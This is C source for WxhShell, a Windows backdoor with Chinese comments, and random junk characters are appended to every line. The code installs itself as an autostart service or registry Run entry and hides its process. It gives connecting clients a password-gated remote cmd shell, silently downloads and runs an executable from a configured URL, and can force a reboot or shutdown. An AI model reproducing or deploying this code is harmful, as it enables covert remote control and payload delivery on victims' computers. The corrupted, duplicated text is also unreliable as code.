    if(Boot(SHUTDOWN)) `c5"d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q$1bWUS&  
    else { X=!^] 3zH  
    closesocket(wsh); G{ sOR  
    ExitThread(0); ^*8G8'k;$  
    } 4C-jlm)V  
    break; E2@65b$  
    } Q<'nE  
  // 获取shell dzsmIV+  
  case 's': { v7jq@#-   
    CmdShell(wsh); gL[yA?GoM  
    closesocket(wsh); !GLz)#SBl  
    ExitThread(0); ,)Ju[  
    break; 9N<<{rQ,F  
  } 6)-X  
  // 退出 ;":zkb{  
  case 'x': { */|lJm'R  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5JCG2jqx0  
    CloseIt(wsh); (\a]"g,]v  
    break; W<$Z=(_v  
    } Iw&vTU=2  
  // 离开 {fF3/tL  
  case 'q': { ?NR A:t(}  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); wF,UE _  
    closesocket(wsh); iH@yCNE"  
    WSACleanup(); Y/ >&0wj)d  
    exit(1); X4AyX.p  
    break; ZP *q4:  
        } sCis4gX.]  
  } 2`>ToWN!  
  } 9{}1r2xW  
wEE\+3b)  
  // 提示信息 *:t|qgJI#+  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?R Oqn6k&c  
} M?:c)&$]D  
  } e8]\U/  
O-cbX/d  
  return; ang~<  
} Xr2ou5zAn  
. DR<Te  
// shell模块句柄 %K` % *D  
int CmdShell(SOCKET sock) pr#z=vqH  
{ WObvbaK  
STARTUPINFO si; Vf'd*-_!Q<  
ZeroMemory(&si,sizeof(si)); Jd(,/q  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #iWSDy  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; R_68-WO  
PROCESS_INFORMATION ProcessInfo; wX[8A/JPD  
char cmdline[]="cmd"; )V ;mwT!Q  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); MHai%E  
  return 0; 9@52Fg ;mj  
} x2z;6)  
W$rH"_@m  
// 自身启动模式 < hO /jB  
int StartFromService(void) T/xp?Vq6/  
{ 2 :mn</z  
typedef struct I8<,U!$  
{ !+4cqO  
  DWORD ExitStatus; 0 79'(%  
  DWORD PebBaseAddress; H(2]7dRS%  
  DWORD AffinityMask; Xn,v]$M!  
  DWORD BasePriority; M57T2]8,  
  ULONG UniqueProcessId; w{uuSe  
  ULONG InheritedFromUniqueProcessId; T2Y,U {  
}   PROCESS_BASIC_INFORMATION; g'=B%eO$j:  
. I'o  
PROCNTQSIP NtQueryInformationProcess; c`WHNky%j  
R~jHr )0.#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; IS[thbzkZ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  2KN6}  
;M#_6Hd?qD  
  HANDLE             hProcess; O:"*q&;J  
  PROCESS_BASIC_INFORMATION pbi; z$GoaS(  
(85Fv&a  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); IWveW8qJ  
  if(NULL == hInst ) return 0; .YnFH$;$  
:.d:9Z|_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \&3"<6xA  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); f=!VsR2o  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {g~bQ2wDC  
uN^=<B?B  
  if (!NtQueryInformationProcess) return 0; t" 7yNs(I  
;VNMD 6H  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); OhmQ,  
  if(!hProcess) return 0; 199]WHc  
'GoZqiYT  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; T4 N~(Fi)  
R8UYP=Kp  
  CloseHandle(hProcess); mp?78_I)  
VX+jadYdq  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); MJCzo |w  
if(hProcess==NULL) return 0; hL;8pE8  
!F4@KAv  
HMODULE hMod; J}@z_^|"mJ  
char procName[255]; VY"9?2?/  
unsigned long cbNeeded; Ra/Ukv_v  
7aYn0_NKp  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); MXiQ1 x  
C?=P  
  CloseHandle(hProcess); _s$_Sa ;  
hf<^/@^tK  
if(strstr(procName,"services")) return 1; // 以服务启动 .tmiQ.  
N!x =eC  
  return 0; // 注册表启动 6uKMCQ=h  
} e9Pk"HHl  
~-t>z  
// 主模块 UMp/ \&0  
int StartWxhshell(LPSTR lpCmdLine) f\1A! Yp  
{ e)IpPTj#  
  SOCKET wsl; ym/fFm6h  
BOOL val=TRUE; Q33"u/-v  
  int port=0; lz0TK)kuC  
  struct sockaddr_in door; TO*BH^5R  
^o@,3__7Q  
  if(wscfg.ws_autoins) Install(); $DC*i-}qFg  
iy\nio`  
port=atoi(lpCmdLine); st &  
2Nm>5l  
if(port<=0) port=wscfg.ws_port; \U?n+6 7g  
1 s*.A6EP"  
  WSADATA data; je4w=]JV  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; d:q +  
Rqy0Q8K<  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #:|+XLL  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Hiv!BV|  
  door.sin_family = AF_INET; s(LT  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~i_Tw#}  
  door.sin_port = htons(port);  6vTo*8D  
,prF6*g+WE  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0\~Z5k`IT  
closesocket(wsl); q )lnS )  
return 1; FvuGup`w  
} $1zvgep  
4E[!,zvl  
  if(listen(wsl,2) == INVALID_SOCKET) { LrV{j?2@  
closesocket(wsl); mNAY%Wn6k  
return 1; 9 ASb>A2~  
} #4h+j%y[H  
  Wxhshell(wsl); p|/j4@-h  
  WSACleanup(); NHgjRP z"  
 ,chf~-d  
return 0; #Hh^3N  
LsGiu9~S  
} /DO/Tqdfe  
b2^AP\: k  
// 以NT服务方式启动 ^t*x*m8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -g/hAxb5  
{ /_-;zL  
DWORD   status = 0; 'QH1=$Su  
  DWORD   specificError = 0xfffffff; ` C+HE$B  
 <n\`d  
  serviceStatus.dwServiceType     = SERVICE_WIN32; YEx)"t8E  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; "$5\,  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  `}no9$l~  
  serviceStatus.dwWin32ExitCode     = 0; Hj1 EGCA  
  serviceStatus.dwServiceSpecificExitCode = 0; 7ji=E";.w  
  serviceStatus.dwCheckPoint       = 0; rspayO<]3  
  serviceStatus.dwWaitHint       = 0; ]AS"z<  
/Go K}W}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Uo_tUp_Q  
  if (hServiceStatusHandle==0) return; ]Lqt( c  
W:VP1 :  
status = GetLastError(); 8{Fm[ %"  
  if (status!=NO_ERROR) 8?Y['  
{ i~{ _eQV  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 3%<C<(  
    serviceStatus.dwCheckPoint       = 0; w*w?S  
    serviceStatus.dwWaitHint       = 0; E}Xka1 Bn  
    serviceStatus.dwWin32ExitCode     = status; N(3R|Ii  
    serviceStatus.dwServiceSpecificExitCode = specificError; %YlTF\-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); MY nH2w]  
    return; @gBE{)Fj  
  } "x&C5l}n  
z&3]%t `C  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1(GHCxA8G  
  serviceStatus.dwCheckPoint       = 0; ^yKY'>T#d  
  serviceStatus.dwWaitHint       = 0; y9;#1:ic  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $ 'QdFkOr  
} ]&i+!$N_  
7TX,T|>9  
// 处理NT服务事件,比如:启动、停止 6a>H|"P NE  
VOID WINAPI NTServiceHandler(DWORD fdwControl) W*xX{$NL  
{ >^"BEG9i:  
switch(fdwControl) TL)O-  
{ gw3NS8 A+  
case SERVICE_CONTROL_STOP: z]$j7dp  
  serviceStatus.dwWin32ExitCode = 0; vh>{_ #  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; DcV<y-`'1  
  serviceStatus.dwCheckPoint   = 0; azb=(l-  
  serviceStatus.dwWaitHint     = 0; oBlzHBn>0  
  { 8!h'j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qq+MBW*  
  } ]~a_d)  
  return; 8gmn6dCf  
case SERVICE_CONTROL_PAUSE: ~'  =lou  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %N~C vN@T  
  break; <e6=% 9  
case SERVICE_CONTROL_CONTINUE: A1,4kqmE  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; g^o_\ hp  
  break; `.k5v7!o  
case SERVICE_CONTROL_INTERROGATE: o|2 87S|$  
  break; C?Qf F{!7  
}; yCM{M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <~%t$:  
} zw:/!MS  
\kwe51MQ  
// 标准应用程序主函数 8g5V,3_6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) gB CC  
{ {>.>7{7  
m(3);)d  
// 获取操作系统版本 4IGxI7~27#  
OsIsNt=GetOsVer(); T=? bdIl  
GetModuleFileName(NULL,ExeFile,MAX_PATH); .{N\<01  
)Ul&1UYA  
  // 从命令行安装 ye r> x  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,eELRzjl  
uU+s!C9r  
  // 下载执行文件 O=O(3Pf>  
if(wscfg.ws_downexe) { -"Gl 4)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Rx. rj~  
  WinExec(wscfg.ws_filenam,SW_HIDE); tmxPO e  
} BpXEK.Xw  
HRRngk#lV  
if(!OsIsNt) { f0F#Yi{fw  
// 如果时win9x,隐藏进程并且设置为注册表启动 ti;%BS  
HideProc(); _XN~@5elrC  
StartWxhshell(lpCmdLine); F|]rA*2u  
} +IsWI;lp  
else >1XL;)IL>  
  if(StartFromService()) dx359  
  // 以服务方式启动 x9*ys;~w  
  StartServiceCtrlDispatcher(DispatchTable);  g@(30{  
else mahi7eU P  
  // 普通方式启动 m0iV m|  
  StartWxhshell(lpCmdLine); x[m'FsR4  
U3q5^{0d/  
return 0; byj[u!{  
} z`9l<Q/  
{dZ8;Fy4  
9XN~Ln@}  
aT/KT,!  
===========================================  ,(hY%M&\  
KS>Fl->  
|7S:l9;  
F9D"kG;Dk  
xhD$e= g  
?HxS)Pqq  
" 'Fzuc^G(d  
5k`e^ARf  
#include <stdio.h> s#Q _Gu  
#include <string.h> LsotgQ8   
#include <windows.h> F0: &>'}  
#include <winsock2.h> bG1 ofsU  
#include <winsvc.h> d:$G|<uA  
#include <urlmon.h> zuj;T,R;  
9t\ [N/  
#pragma comment (lib, "Ws2_32.lib") &1$8q0  
#pragma comment (lib, "urlmon.lib") }-@I#9  
^k9rDn/AW  
#define MAX_USER   100 // 最大客户端连接数 K-Y* T}?  
#define BUF_SOCK   200 // sock buffer $U mE  
#define KEY_BUFF   255 // 输入 buffer h=wf>^l  
1'OD3~[R  
#define REBOOT     0   // 重启 7#/|VQX<A  
#define SHUTDOWN   1   // 关机 Oylp:_<aT  
R^?PAHE 7  
#define DEF_PORT   5000 // 监听端口 r?XDvU  
C_89YFn+  
#define REG_LEN     16   // 注册表键长度 a j_:|]j  
#define SVC_LEN     80   // NT服务名长度 Rmgxf/  
Lj-{t% }  
// 从dll定义API $ACe\R/%  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8|_K  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); dTgM"k  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6 cr^<]v!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Uc>LFX& -B  
o[H\{a>  
// wxhshell配置信息 u p7 x)w:  
struct WSCFG { QZ9M{Y/  
  int ws_port;         // 监听端口 vD"_X"v  
  char ws_passstr[REG_LEN]; // 口令 nvwDx*[qN  
  int ws_autoins;       // 安装标记, 1=yes 0=no J4&XPr9  
  char ws_regname[REG_LEN]; // 注册表键名 qFGB'mIrFz  
  char ws_svcname[REG_LEN]; // 服务名 #s/{u RYQ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 A<1l^%i  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 FL~9</  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !}C4{Bgt*  
int ws_downexe;       // 下载执行标记, 1=yes 0=no _fe0,  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" CYMM*4#  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 I[a%a!QO  
[j1^$n 8V  
}; 4I+.^7d  
sF, uIr/  
// default Wxhshell configuration Xd5! Ti}  
struct WSCFG wscfg={DEF_PORT, &?fvt  
    "xuhuanlingzhe", !c v6 #:  
    1, =NI.d>kvC  
    "Wxhshell", jm~mhAE#  
    "Wxhshell", ge@reGfsB1  
            "WxhShell Service", 'II vub#q  
    "Wrsky Windows CmdShell Service", ^$ZI>L0+  
    "Please Input Your Password: ", "&s9cO.H  
  1, -!JlM@  
  "http://www.wrsky.com/wxhshell.exe", Ty(yh(oYF`  
  "Wxhshell.exe" HK=CP0H  
    }; U5 -zB)V  
]VmzKA|h+  
// 消息定义模块 @ICejB<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; YGi/]^Nba  
char *msg_ws_prompt="\n\r? for help\n\r#>"; `mWQWx$V!  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; o7hH9iY  
char *msg_ws_ext="\n\rExit."; >zN" z)  
char *msg_ws_end="\n\rQuit."; 6qY\7R2+  
char *msg_ws_boot="\n\rReboot..."; X~`.}  
char *msg_ws_poff="\n\rShutdown..."; |A2W8b {]  
char *msg_ws_down="\n\rSave to "; _-YL!oP  
@5JLjCN  
char *msg_ws_err="\n\rErr!"; c4S>_qH  
char *msg_ws_ok="\n\rOK!"; o x03c   
,Uv{dG  
char ExeFile[MAX_PATH]; {EZFx,@t  
int nUser = 0; {A !;W  
HANDLE handles[MAX_USER]; )+VHt  
int OsIsNt;  [ ((h<e  
~k"eE V p  
SERVICE_STATUS       serviceStatus; {.0X[uAf  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; :4Id7Ce  
_wIBm2UO  
// 函数声明 &*LA_]1@  
int Install(void); d8VWi*  
int Uninstall(void); YY1{v?[  
int DownloadFile(char *sURL, SOCKET wsh); OYQXi  
int Boot(int flag); ?*(r1grHl  
void HideProc(void); ~m009  
int GetOsVer(void); f]{1ZU%4  
int Wxhshell(SOCKET wsl); /7!_un9  
void TalkWithClient(void *cs); >F_qa=t%[  
int CmdShell(SOCKET sock); g>d7%FFn}  
int StartFromService(void); 1oXz[V  
int StartWxhshell(LPSTR lpCmdLine); YqK+F=0  
&/z+A{Hi  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Z{8exym  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); HMl!?%%  
iqc4O /  
// 数据结构和表定义 jb#1&L 14  
SERVICE_TABLE_ENTRY DispatchTable[] = 5#N"WHz!  
{ v^FV t  
{wscfg.ws_svcname, NTServiceMain}, QE`:jxyad  
{NULL, NULL} ~ 4p]E'b  
}; V NJDl  
UeutFNp  
// 自我安装 e3oYy#QNk  
int Install(void) G!> iqG  
{ /ynKKJx<Y  
  char svExeFile[MAX_PATH]; >llwNT  
  HKEY key; &Sa_%:*D(  
  strcpy(svExeFile,ExeFile); ZQgxrZx3  
tk] _QX %  
// 如果是win9x系统,修改注册表设为自启动 Lqz}&A   
if(!OsIsNt) { >b/k|?xP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `2Z4#$.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); uM}dZp 1  
  RegCloseKey(key); J,(U<%n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v#T?YK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); XSL t;zL:  
  RegCloseKey(key); >Rz#g*@E  
  return 0; 6KZ8 .m}:  
    } `W.vW8 !#  
  } _7t|0aNo\  
} 3.GdKP.%  
else { >qh>Qm8w  
[1Qk cR  
// 如果是NT以上系统,安装为系统服务 "`8H:y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); p: Q%Lg_I  
if (schSCManager!=0) TV[6+i*#  
{ tXb7~aO  
  SC_HANDLE schService = CreateService `gBXeG2fn  
  ( ;N> {1  
  schSCManager, *h5ldP  
  wscfg.ws_svcname, Occ8Hk/l.  
  wscfg.ws_svcdisp, o0-fUCmC  
  SERVICE_ALL_ACCESS, t2!$IHE:  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , h~^qG2TYWq  
  SERVICE_AUTO_START, ;_Of`C+  
  SERVICE_ERROR_NORMAL, %i]uW\~U  
  svExeFile, v"Ud mv"  
  NULL, -?2&5YB  
  NULL, X,C/x)  
  NULL, ><:lUt*N2  
  NULL, jmA{rD W  
  NULL Cs6zv>SR  
  ); >uqS  
  if (schService!=0) L`VQ{|&3V  
  { R fVV(X  
  CloseServiceHandle(schService); hBYh90]  
  CloseServiceHandle(schSCManager); cr=FMfhB  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); )sz 2 9  
  strcat(svExeFile,wscfg.ws_svcname); 66Cj=n5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { VK@i#/jm  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3gfV0C\  
  RegCloseKey(key); G-Ml+@e>  
  return 0; \8@[bpI@g  
    } ;?Y` e  
  }  c+G:@%  
  CloseServiceHandle(schSCManager); l5N\> q  
} A=YEY n  
} *9U4^lJjn  
Xj@    
return 1; 1rvf\[  
} Q e2 /4j4  
*t]&b ;=gE  
// 自我卸载 zLIa! -C  
int Uninstall(void) *M\i4FO8  
{ v2uS 6  
  HKEY key; ;^H+ |&$>  
hvv>UC/  
if(!OsIsNt) { +h\W~muR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { FO3eg"{N  
  RegDeleteValue(key,wscfg.ws_regname); `sp'Cl!  
  RegCloseKey(key); ]mLTF',5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6@_@nlA<1  
  RegDeleteValue(key,wscfg.ws_regname); D*2p  
  RegCloseKey(key); Xk9r"RmiOb  
  return 0; ~D-OL* 2  
  } gm%bxr@X~  
} Le$u$ulS  
} 0f}Q~d=QL  
else { PTc\I  
'I01F:`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $8yGY  
if (schSCManager!=0) @xM!:  
{ lO[jf6gB  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); < $?}^ 0R  
  if (schService!=0) hZ /  
  { 3,cE/Ei  
  if(DeleteService(schService)!=0) { JU,RO oz(  
  CloseServiceHandle(schService); kG7,1teMk  
  CloseServiceHandle(schSCManager); +AC-f2  
  return 0; DP'Dg /D  
  } ii] =C(e9  
  CloseServiceHandle(schService); 2P> za\  
  } 4a50w:Jy]  
  CloseServiceHandle(schSCManager); 4JQ`&:?r  
} #1hz=~YO  
} ua>~$`@gX  
G?1V~6  
return 1; b0x0CMf  
} F^bQ-  
xgw)`>p,W  
// 从指定url下载文件 Bst>9V&R  
int DownloadFile(char *sURL, SOCKET wsh) 7a_n\]t465  
{ d"`>&8*  
  HRESULT hr; +6Fdi*:  
char seps[]= "/"; &)}:Y!qiu  
char *token; >xMhA`l  
char *file; t }C ^E  
char myURL[MAX_PATH]; >(4S `}K  
char myFILE[MAX_PATH]; r@ *A   
92ww[+RQ@  
strcpy(myURL,sURL); 1?$!y  
  token=strtok(myURL,seps); 2_~XjwKE  
  while(token!=NULL) Pi sr&"A  
  { J9t?]9.,:  
    file=token; Z/UVKJm>:  
  token=strtok(NULL,seps); |a:VpM  
  } Uht:wEr  
]~ eWr2uG?  
GetCurrentDirectory(MAX_PATH,myFILE); fU7:3"|s8  
strcat(myFILE, "\\"); wgP3&4cSUc  
strcat(myFILE, file); 6i=wAkn_J  
  send(wsh,myFILE,strlen(myFILE),0); pXEVI6 }  
send(wsh,"...",3,0); ${,eQ\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); wmCV%g\.d:  
  if(hr==S_OK) ;mKU>F<V  
return 0; Im1qWe  
else L*oL KigT  
return 1; I{ZPv"9j^  
Zd/~ *ZA  
} &Zy=vk*  
;4#8#;  
// 系统电源模块 k3h53QTmC  
int Boot(int flag) &{{f|o=u.  
{ eZkz 1j~  
  HANDLE hToken; TUYl><F5v=  
  TOKEN_PRIVILEGES tkp; Jl9TMu!1]  
_rh.z_a7w  
  if(OsIsNt) { BCB/cBE  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <a}|G1 h  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ghR]$SG  
    tkp.PrivilegeCount = 1; fB}5,22  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 'ZgW~G]S  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;//q jo  
if(flag==REBOOT) { )L("t  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) HCy}'}d  
  return 0; )cBV; E<  
} ~}ZX^l&k{P  
else { 1h0ohW  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 'MlC 1HEp  
  return 0; = +\oL!^  
} KTJ $#1q  
  } Q*{ 2  
  else { V]cY+4Y  
if(flag==REBOOT) { 1OeDWEcB  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) k~F/Ho+R&  
  return 0; n\DT0E]  
} 1k({(\>qq  
else { lY?d*qED  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) yKhzymS}T  
  return 0; $X]v;B)J|  
} z:7F5!Z  
} ?bA]U:  
9}_f\Bs  
return 1; DYl{{L8@  
} `t2! M\)  
9xp ;$14  
// win9x进程隐藏模块 |?W   
void HideProc(void) 8{ e 3  
{ e@VRdhb  
^/,yZ:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); mmK_xu~f28  
  if ( hKernel != NULL ) U<gw<[>f  
  { !A0bbJ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); rnaDo\5  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9?6$ 2I  
    FreeLibrary(hKernel); .r"?w  
  } 9>P(eN  
[! BH3J!  
return; IGQ8-#=  
} 0~+ k  
((q(Q9(F  
// 获取操作系统版本 "G(/MT^C  
int GetOsVer(void) =LzW#s=O  
{ 06;{2&ju<  
  OSVERSIONINFO winfo; 31Du@h8YX  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ajr8tp'  
  GetVersionEx(&winfo); 2F{IDcJI\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^Y |s^N  
  return 1; =c 4U%d2  
  else J6P Tkm}^  
  return 0; q;JQs:U!  
} ;hDr+&J|  
HPB1d!^  
// 客户端句柄模块 [X]o`  
int Wxhshell(SOCKET wsl) t]XJ q  
{ UkKpS L}Q2  
  SOCKET wsh; qo|iw+0Y  
  struct sockaddr_in client; v_ h{_b8  
  DWORD myID; ?sE21m?b-  
gV BV@v!W  
  while(nUser<MAX_USER) $!w%=  
{ " Xc=<rX  
  int nSize=sizeof(client); y0]O 6.{  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); sqRuqUj+  
  if(wsh==INVALID_SOCKET) return 1; 6 H.Da]hk  
y 6< tV.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9m4|1)  
if(handles[nUser]==0) #u^d3 $Nj  
  closesocket(wsh); 39#>C~BOl  
else _L>n!"E/  
  nUser++; X.qKG0i  
  } p10->BBg  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); WkE;tC*  
l:HuG!  
  return 0; vD t? N9  
} *fZ'#C~x  
g.Q ?Z{  
// 关闭 socket |1R @Jz`  
void CloseIt(SOCKET wsh) > { Q2S  
{ 3&f{lsLAC  
closesocket(wsh); 8pk">"#s  
nUser--; ;p8xL)mUP  
ExitThread(0); .rHO7c,P~  
} x`&W[AA4  
*6DKU CA/  
// 客户端请求句柄 VXp X#O  
void TalkWithClient(void *cs) Vv]mME@  
{ wW~2]*n  
PoZBiw@  
  SOCKET wsh=(SOCKET)cs; r>\.b{wI  
  char pwd[SVC_LEN]; A[MEtI=Q J  
  char cmd[KEY_BUFF]; |EunDb[Y  
char chr[1]; }dCnFZ{K3  
int i,j; '1<QK  
l"/Os_4O  
  while (nUser < MAX_USER) { E:AXnnGKO  
T28#?Lp6]  
if(wscfg.ws_passstr) { 4j5plm=  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :O2N'vl47A  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); XT)@)c7j  
  //ZeroMemory(pwd,KEY_BUFF); `KN{0<Ne  
      i=0; %BJ V$tO  
  while(i<SVC_LEN) { " PPwJ/L(  
dL>ZL1.$  
  // 设置超时 nm..$QL  
  fd_set FdRead; Yhfk{CI  
  struct timeval TimeOut; t"Rn#V\c."  
  FD_ZERO(&FdRead); 90a= 39kI  
  FD_SET(wsh,&FdRead); %"D-1&%zY  
  TimeOut.tv_sec=8; -VL3em|0  
  TimeOut.tv_usec=0; BZ.H6r'Q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Gwe9< y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); zKv}J  
}/|1"D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rnUe/HjH  
  pwd=chr[0]; :B im`mHl  
  if(chr[0]==0xd || chr[0]==0xa) { NeH^g0Q2,g  
  pwd=0; GI/o!0"_  
  break; 70@:!HI]  
  } xQ4Q'9  
  i++; SX#ATf6#  
    } 0t8-oui  
[LE_lATjU  
  // 如果是非法用户,关闭 socket 3$_wAt4w  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :|bPr_&U$  
} {>#Ya;E  
*:iFhKFU  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); gwyz)CUkL  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {.v+ iSM  
t5S S]  
while(1) { ~_Aclm?  
N]3XDd|q  
  ZeroMemory(cmd,KEY_BUFF); d}1R<Q;F  
tG'c79D\  
      // 自动支持客户端 telnet标准   !U@[lBW  
  j=0; `J;_!~:  
  while(j<KEY_BUFF) { x(A .^Yz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GKX#-zsh79  
  cmd[j]=chr[0]; IIzdCa{l  
  if(chr[0]==0xa || chr[0]==0xd) { ]'{<O3:7  
  cmd[j]=0; z,vjY$t:/  
  break; +]G;_/[2  
  } @>?&Mw\c  
  j++; :^K|u^_>P  
    } QM=X<?m/,=  
72aj4k]^  
  // 下载文件 Re`= B  
  if(strstr(cmd,"http://")) { u?!p[y6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); cYK3>p A  
  if(DownloadFile(cmd,wsh)) TWMD f  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); x@yF|8  
  else Zi^&x6y^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gqE{  
  } &@y W< <  
  else { xRb-m$B}L  
UPH:$Fk&  
